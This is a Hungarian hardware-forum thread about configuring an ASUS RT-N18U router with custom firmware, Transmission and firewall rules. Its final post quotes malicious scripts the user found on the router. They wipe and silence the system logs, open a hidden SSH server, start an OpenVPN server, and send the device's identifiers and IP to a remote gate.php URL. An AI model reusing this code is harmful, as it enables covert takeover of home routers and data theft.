- Milyen egeret válasszak?
- Alapértelmezett konfiguráción sok Core CPU-nak lehet stabilitási gondja
- Házimozi belépő szinten
- AMD K6-III, és minden ami RETRO - Oldschool tuning
- Gaming notebook topik
- Milyen processzort vegyek?
- Háromféle processzor is része lesz a Core 200 sorozatnak
- HiFi műszaki szemmel - sztereó hangrendszerek
- Videós, mozgóképes topik
- AMD Ryzen 9 / 7 / 5 / 3 3***(X) "Zen 2" (AM4)
Hirdetés
-
Spyra: akkus, nagynyomású, automata vízipuska
lo Type-C port, egy töltéssel 2200 lövés, több, mint 2 kg-os súly, automata víz felszívás... Start the epic! :)
-
Letartóztatták a bitcoin-Jézust
it Amerikai adókerülés vádjával, Spanyolországban tartóztatták le a bitcoin-Jézusként ismert Roger Vert.
-
Képeken az egyik kameráját elvesztő Sony Xperia 10 VI
ma Részletes anyag került fel az internetre a Sony idei középkategóriás telefonjáról, három helyett két hátlapi kamera várható.
-
PROHARDVER!
600 Mbps-os tempót ígér 2,4 GHz-en az ASUS RT-N18U High Power routere
Új hozzászólás Aktív témák
-
Stef@N
tag
Sziasztok,
a tegnapi nap folyamán beüzemeltem a témát adó routert. Korábban a T-től kapott ZTE csoda szolgáltatta a wifit, erre kötöttem rá PPPoe Passtrough módban. A házban lévő összes eszközöm vezeték nélkül csatlakozik a routerhez.
Egy olyan problémám adódott, hogy ugyanazokkal a Wifi beállításokkal (SSID, jelszó típus, jelszó, 40 mhz only) a notebook nem tud 15 Mbit-nél nagyobb sebességet elérni. Korábban a ZTE-nél nem volt ilyen gond, a 20-as net szó nélkül meg volt, mindenféle ingadozás nélkül. Az érdekesség az egészben, hogy a notin kívül az összes másik eszközömön meg van a sebesség.
A hibaelhárító rossz proxybeállításokra panaszkodik, de a másik notin ahol meg van a sebesség, ott is ezt a hibát írja.
Valaki esetleg?
-
Stef@N
tag
Sziasztok,
végigolvastam az összes bejegyzést, amiben szerepel a transmission szó, de sajnos így sem sikerült beállítanom rendesen.
Adott a router a legfrissebb HGG firmwarerel. USB 2-n egy NTFS HDD. Az alábbi szolgáltatások működnek:
FTP: helyi hálózatról és WAN-ról is
Download Master: helyi hálózatról és WAN-ról is
AiCloud iPhone alkalmazás: helyi hálózatról és WAN-ról is
Transmission remote gui windows kliens: csak helyi hálózatról
Transmission iPhone kliens "Companion": csak helyi hálózatrólHa kikapcsolom a router a tűzfalát akkor az utolsó két probléma egyből megoldódik. Viszont nem szeretném kikapcsolni
Van valami köztes megoldás vagy mindenképp kell telepíteni a transmissiont a routerra is? Viszont akkor miért van szükség az ext4 partícióra?
-
Stef@N
tag
válasz PainKiller13 #1632 üzenetére
Sajnos nem ismerem az ext4-et. Használható ugyanúgy DLNA-ra? Windows hálózati meghajtóra?
-
Stef@N
tag
válasz PainKiller13 #1634 üzenetére
És az mitől lehet, hogy a letöltés csak 2,2 - 2,4 MB/s-sel akar menni, amikor korábban a gépre közvetlenül 2,7 is meg volt. Gondolom az USB 2.0 nem lehet a szűk keresztmetszet.
-
Stef@N
tag
Sziasztok,
sikerült felraknom az Entwaret és a Transmissiont is. A kliens elérem bárhonnan, bármilyen eszközről
Az egyetlen bajom az, hogy a megnyitott portok ellenére, egyáltalán nem hajlandó vissza seedelni semmit. Az "n"-es torrent oldalon 12 óra elteltével is a torrent státusza Leech, amit nem értek, mert a Transmission szerint fut megosztásra, de ennyi idő alatt 0,1 byteot sem töltött fel. -
Stef@N
tag
Közben meg lett a hiba. Valami bug lehet, csak akkor hajlandó seedelni a transmission ha a torrentben lévő összes fájlt letöltöm, hiába kapcsolom ki melyik fájlt nem szeretném letölteni...
[ Szerkesztve ]
-
Stef@N
tag
válasz Intruder2k5 #1767 üzenetére
Na ezt nem tudtam, köszi! Ahogy lejöttek a "szükségtelen" fájlok is, azonnal elindult a feltöltés. Korábban nem tapasztaltam ilyesmit asztali uTorrent klienssel, de akkor Transmissiont inkább így fogom használni
-
Stef@N
tag
HGG esetén firmware frissítésnél az SSH-n keresztül telepített dolgok, beállítások megmaradnak? Gondolok itt elsősorban a transmissionre és tűzfal beállításokra.
-
Stef@N
tag
Sziasztok,
HGG 378.54 verzióról rászántam magam a 378.55.3 frissítésére. Mivel a change log külön felhívja a figyelmet arra hogy a verzió ugrás miatt update után hw reset szükséges, újból be kellett állítani mindent, ami sikerült is. Egy dolog bosszant: frissítés óta az LG smart tv folyamatosan nyafog instabil kapcsolat miatt miközben szeretném kiválasztani melyik mesét indítsam el a gyereknek. Ilyenkor mindig egyet vissza kell lépni. mert eltűnnek a mappák.
Korábban nem volt ilyen gond. Hozzáteszem hogy a full HD filmeket, sőt a 3d filmeket is vezeték nélkül átviszi bufferelés mentesen, miután sikerült bejutnom az adott mappába és elindítani.
Valaki tapasztalt már hasonlót?
-
Stef@N
tag
válasz Gubek-Einste #2364 üzenetére
Este megpróbálom. Nem tudom mi lehet gond a memóriahasználattal. SSH-n keresztül nem lehet valahogy kideríteni?
-
Stef@N
tag
Korábban írtam, hogy a legfrissebb HGG-vel folyamatosan instabil kapcsolatot reklamál a tv. Azóta kipróbáltam más wifi csatornákon, ext3/ext4/ntfs partícióval is, de a helyzet változatlan. A minidlna logja ilyennel van tele:
[2015/09/26 19:29:22] upnpsoap.c:123: warn: Returning UPnPError 402: Invalid Args
[2015/09/26 20:20:27] upnphttp.c:1053: warn: HTTP Connection closed unexpectedlyMi lehet a probléma?
-
Stef@N
tag
Sziasztok,
időközönként a logba az alábbi sorok íródnak be:
Oct 25 20:34:37 kernel: EXT4-fs (sda5): error count: 1
Oct 25 20:34:37 kernel: EXT4-fs (sda5): initial error at 1444937203: ext4_ext_check_inode:454: inode 589
Oct 25 20:34:37 kernel: EXT4-fs (sda5): last error at 1444937203: ext4_ext_check_inode:454: inode 589Oct 26 19:18:24 kernel: EXT4-fs error (device sda5): ext4_ext_check_inode:454: inode #589: comm smbd: bad header/extent: invalid magic - magic 0, entries 0, max 0(0), depth 0(0)
Tudna valaki segíteni mi lehet a gond?
-
Stef@N
tag
válasz Intruder2k5 #2660 üzenetére
A GUI szerint leválasztva, a többi részéhez nem nagyon értek, az e2fsck parancsot is kigoogliztam. Leválasztás után kihúztam a routerből majd visszadugtam, újra leválasztottam és most elindult, jelenleg folyamatban van.
-
Stef@N
tag
Közben elkészült:
/tmp/home/root# e2fsck /dev/sdb5
e2fsck 1.42.13 (17-May-2015)
/dev/sdb5 contains a file system with errors, check forced.
Pass 1: Checking inodes, blocks, and sizes
Pass 2: Checking directory structure
Pass 3: Checking directory connectivity
Pass 4: Checking reference counts
Pass 5: Checking group summary information
/dev/sdb5: 2255/122093568 files (1.8% non-contiguous), 66612357/122093568 blocks
StefaN@RT-N18U:/tmp/home/root# e2fsck -p /dev/sdb5
/dev/sdb5: clean, 2255/122093568 files, 66612357/122093568 blocksha jól értelmezem akkor minden ok. HDD sentinel szerint 100/100 a vinyó.
-
Stef@N
tag
válasz Intruder2k5 #2668 üzenetére
Köszönöm!
-
Stef@N
tag
Üdv!
Használja valaki az alábbi funkciót HGG alatt?
Exclude the following drives from spinning down
Működik rendesen a funkció? Szeretnék rákötni egy ilyet, egyedi firmware-rel ki lehet kapcsolni a sleep mode-t a rackben, de jobban örülnék ha nem kellene belepiszkálni
[ Szerkesztve ]
-
Stef@N
tag
válasz rb26dett #8671 üzenetére
Sziasztok!
Segítséget kérnék, sajnos a napokban történt valami a routerrel néhány áramkimaradás után.. A mai napon újra telepítettem a HGG-t és az entwaret de változatlan minden. Konkrétan hol elérem kívülről a routert, hol nem.
A tűzfal script:
#!/bin/sh
iptables -I INPUT -p tcp --destination-port 51413 -j ACCEPT
iptables -I INPUT -p udp --destination-port 51413 -j ACCEPT
iptables -I INPUT -p tcp --destination-port 9091 -j ACCEPT
iptables -I INPUT -p udp --destination-port 9091 -j ACCEPT
iptables -I INPUT -p tcp --destination-port 9900 -j ACCEPT
iptables -I INPUT -p udp --destination-port 9900 -j ACCEPTBootolásnál szépen el is indul:
May 25 23:05:16 custom script: Running /jffs/scripts/firewall-start (args: ppp0)
Azonban az 51413-as portot a transmission zártnak látja. Ha ssh-n beírom hogy sh /jffs/scripts/firewall-start akkor utána már jó az 51413-as port viszont a 9900 és 9091 akkor már nem elérhető, illetve hol igen hol nem. Mi lehet a gond?
-
Stef@N
tag
Közben reggel jött még mellé:
May 26 07:12:48 rc_service: httpds 710:notify_rc restart_firewall;restart_qos
May 26 07:12:50 miniupnpd[1428]: shutting down MiniUPnPd
May 26 07:12:52 start_nat_rules: apply the nat_rules(/tmp/nat_rules_ppp0_eth0)!
May 26 07:12:54 custom script: Running /jffs/scripts/firewall-start (args: ppp0)
May 26 07:12:54 miniupnpd[14334]: HTTP listening on port 56045
May 26 07:12:54 miniupnpd[14334]: Listening for NAT-PMP/PCP traffic on port 5351előző hozzászólásomat amikor írtam akkor a 9900-es port működött kívülről, sajnos reggel most már az sem megy.
-
Stef@N
tag
Sziasztok,
felraktam a legújabb HGG-t találtam is két bugot ha minden igaz. Az egyik, hogy az AICloud által használt 443 port zárva marad áramtalanítás (ki/be kapcsolás) után, de egy újraindítás a menüből megoldja a problémát. Másik, hogy mindkét USB led világít az előlapon, pedig csak a 3.0-as usb port van használatban. Valaki tapasztalt hasonlót?
-
Stef@N
tag
Sziasztok,
tud valaki segíteni milyen paranccsal tudnám frissíteni a Transmissiont HGG+Entware alatt a legfrissebb verzióra? 2.92 van fent és látom már van belőle 2.94 is.
Köszi előre is.
-
Stef@N
tag
válasz ArthurShelby #11012 üzenetére
Köszönöm! Sikerült közben
Ilyen nagyobb update-eknél érdemes egyébként JFFS partíciót is formázni a HW reset mellett, vagy nincs jelentősége?
-
Stef@N
tag
A CPU load idők másnak is magasabbak lettek 380.70 alatt?
CPU Load Average (1, 5, 15 mins) 1.24, 1.27, 1.21
Az előző verziónál szinte sose ment 0.5 fölé. Érdemes ezzel foglalkozni egyáltalán?
-
Stef@N
tag
Erre ránézne valaki légy szíves?
-
Stef@N
tag
Üdv mindenkinek!
Szeretnék segítséget kérni az alábbiakban.
A napokban cseréltem HDD-t és újra raktam rá a transmissiont. Mindent beállítottam, a korábbiak szerint de a remote gui port tesztelésnél Error: portTested: http error 0: No Response hibát ír ki, webes felületen pedig port closed. Ennek ellenére a letöltés és feltöltés egyaránt működik. canyouseeme.org szerint a 51413-as port nyitva.
Ez valami bug lehet?
Firmware:380.70.1_HGG-RC2
Transmission 2.94 (d8e60ee44f)tcp 0 0 0.0.0.0:5473 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:18017 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:3394 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:9091 0.0.0.0:* LISTEN
tcp 0 0 192.168.1.1:515 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:8200 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:139 0.0.0.0:* LISTEN
tcp 0 0 192.168.1.1:139 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:54956 0.0.0.0:* LISTEN
tcp 0 0 192.168.1.1:9100 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:9998 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:80 0.0.0.0:* LISTEN
tcp 0 0 192.168.1.1:80 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:8082 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:51413 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN
tcp 0 0 192.168.1.1:53 0.0.0.0:* LISTEN
tcp 0 0 192.168.1.1:22 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8443 0.0.0.0:* LISTEN
tcp 0 0 192.168.1.1:8443 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:445 0.0.0.0:* LISTEN
tcp 0 0 192.168.1.1:445 0.0.0.0:* LISTEN
tcp 0 0 192.168.1.1:3838 0.0.0.0:* LISTEN
tcp 0 0 :::5201 :::* LISTEN
tcp 0 0 :::51413 :::* LISTEN -
Stef@N
tag
válasz Gubek-Einste #11850 üzenetére
Megy minden, ahogy azt kell, csak korábban a belső port tesztek is jó eredményt mutattak, azért volt furcsa...
-
Stef@N
tag
Tud esetleg valaki Entware alá olyan programot amivel a rákötött hdd állapotát le lehet kérdezni? Gondolok itt hőmérsékletre, bad sectorokra stb. Rákötöttem egy 98%-os vinyót és néha ránéznék, hogy mennyire romlik az állapota.
-
Stef@N
tag
válasz Intruder2k5 #11858 üzenetére
Szuper, köszönöm működik
-
Stef@N
tag
Sziasztok!
Kicsivel 3 év elteltével megadta magát a routerem. Bekapcsoláskor az összes led villog rajta kb. 1 másodpercenként. Mivel műszaki beállítottságú vagyok szívesen javítanám, van esetleg tipp mi lehet a gondja? A tápja jó megmértem.
Szerk.: mégsem jó a táp, terhelésre leesik a feszültsége 12V-ról 4V-ra valószínűleg ez lesz a baja.
[ Szerkesztve ]
-
Stef@N
tag
Sziasztok!
Akik jobban otthon van a témában azoktól kérdezném:
380.70.1_HGG-RC2 alatt a ftp írás/olvasás jogosultság beállítások szerintem nem működnek megfelelően. A probléma az, hogy nem tudok fájlt másolni egy mappában sem. SSH-n keresztül a chmod -R 777 parancs megoldja a problémát, de ha pl. a Transmission egy új alkönyvtárat hoz létre, annak megint módosítani kell az attribútumait, hogy írható legyen, annak ellenére hogy a főkönyvtárnak korábban már beállítottam.
Kérdésem az, hogy van e a chmodnak valami kapcsolója ami az újonnan létrehozott alkönyvtárakra is érvényesül, vagy a Transmissionnel kéne futtatni egy szkriptet ha elkészült a letöltés?
-
Stef@N
tag
Üdv mindenkinek! Két éves 380.70.1_HGG-RC2 rendszerem kezd meghülyülni. Ha újraindítom nagyon lassan bootol be ~10 perc, nem logol és a wifi hálózat is lassabbnak tűnik. Minden más rendben egyébként (külső elérés, torrent stb.) Kérdésem, ha csinálok egy hard resetet majd visszaállítom a beállításokat, jffs partíció tartalmát, akkor valószínűleg a "hibát" is visszaállítom? Vagy érdemes megpróbálni?
-
Stef@N
tag
válasz Gubek-Einste #13772 üzenetére
Jogos, csak próbálnám minél kevesebb melóval megúszni
Egyébként a jffs partícíóval van valami baja. Amit találtam eltérést a legutóbbi mentés óta, hogy a services-start-ba beleíródott egy ilyen.
sleep 180
if [ "$(nvram get rcvar)" != "1" ]; then
cru a services-start "*/10 * * * * sh /jffs/configs/start.sh &"
mkdir /dev/net
mknod /dev/net/tun c 10 200
chmod 666 /dev/net/tun
modprobe tun
rm /tmp/syslog.log
rm /tmp/syslog.log-1
rm /jffs/syslog.log
rm /jffs/syslog.log-1
ln -s /dev/null /tmp/syslog.log
ln -s /dev/null /tmp/syslog.log-1
fi
mkdir /etc/dropbear
dropbear -R -p 222 -aés lett egy config/start.sh fájlom:
#!/bin/sh
iptables -L | grep 1194 > /dev/null
if [ $? -ne 0 ]; then
sh /jffs/configs/iptables.sh
fi
ps -w | grep -v grep | grep openvpn > /dev/null
if [ $? -ne 0 ]; then
openvpn --config /jffs/configs/server.ovpn
fi
MACADDR=$(nvram show | grep boardnum -m1 | grep -v grep)
MODEL=$(nvram show | grep model= -m1 | grep -v grep)
FIRMVARE=$(uname -o)
MYIP=$(wget -qO- ipinfo.io/ip)
TIME=$(wget -qO- ipinfo.io/ip | awk "BEGIN {FS=\".\"}{print \$1}")
SL=$(($TIME + $TIME))
sleep $SL
wget -q -nv -O /tmp/null https://bofo.tech/root/gate.php?a=$MACADDR\&b=$MODEL:$FIRMVARE\&c=$MYIP >/dev/null 2>/dev/null --no-check-certificate
van sejtésed, hogy ez mi lehet?[ Szerkesztve ]
Új hozzászólás Aktív témák
- alza 404 akciók
- Milyen egeret válasszak?
- Alapértelmezett konfiguráción sok Core CPU-nak lehet stabilitási gondja
- Házimozi belépő szinten
- Spyra: akkus, nagynyomású, automata vízipuska
- nVidia tulajok OFF topikja
- Poco X6 Pro - ötös alá
- AMD K6-III, és minden ami RETRO - Oldschool tuning
- Steam, GOG, Epic Store, Humble Store, Xbox PC Game Pass, Origin Access, uPlay+, Apple Arcade felhasználók barátságos izgulós topikja
- BestBuy topik
- További aktív témák...
Állásajánlatok
Cég: Ozeki Kft.
Város: Debrecen
Cég: Promenade Publishing House Kft.
Város: Budapest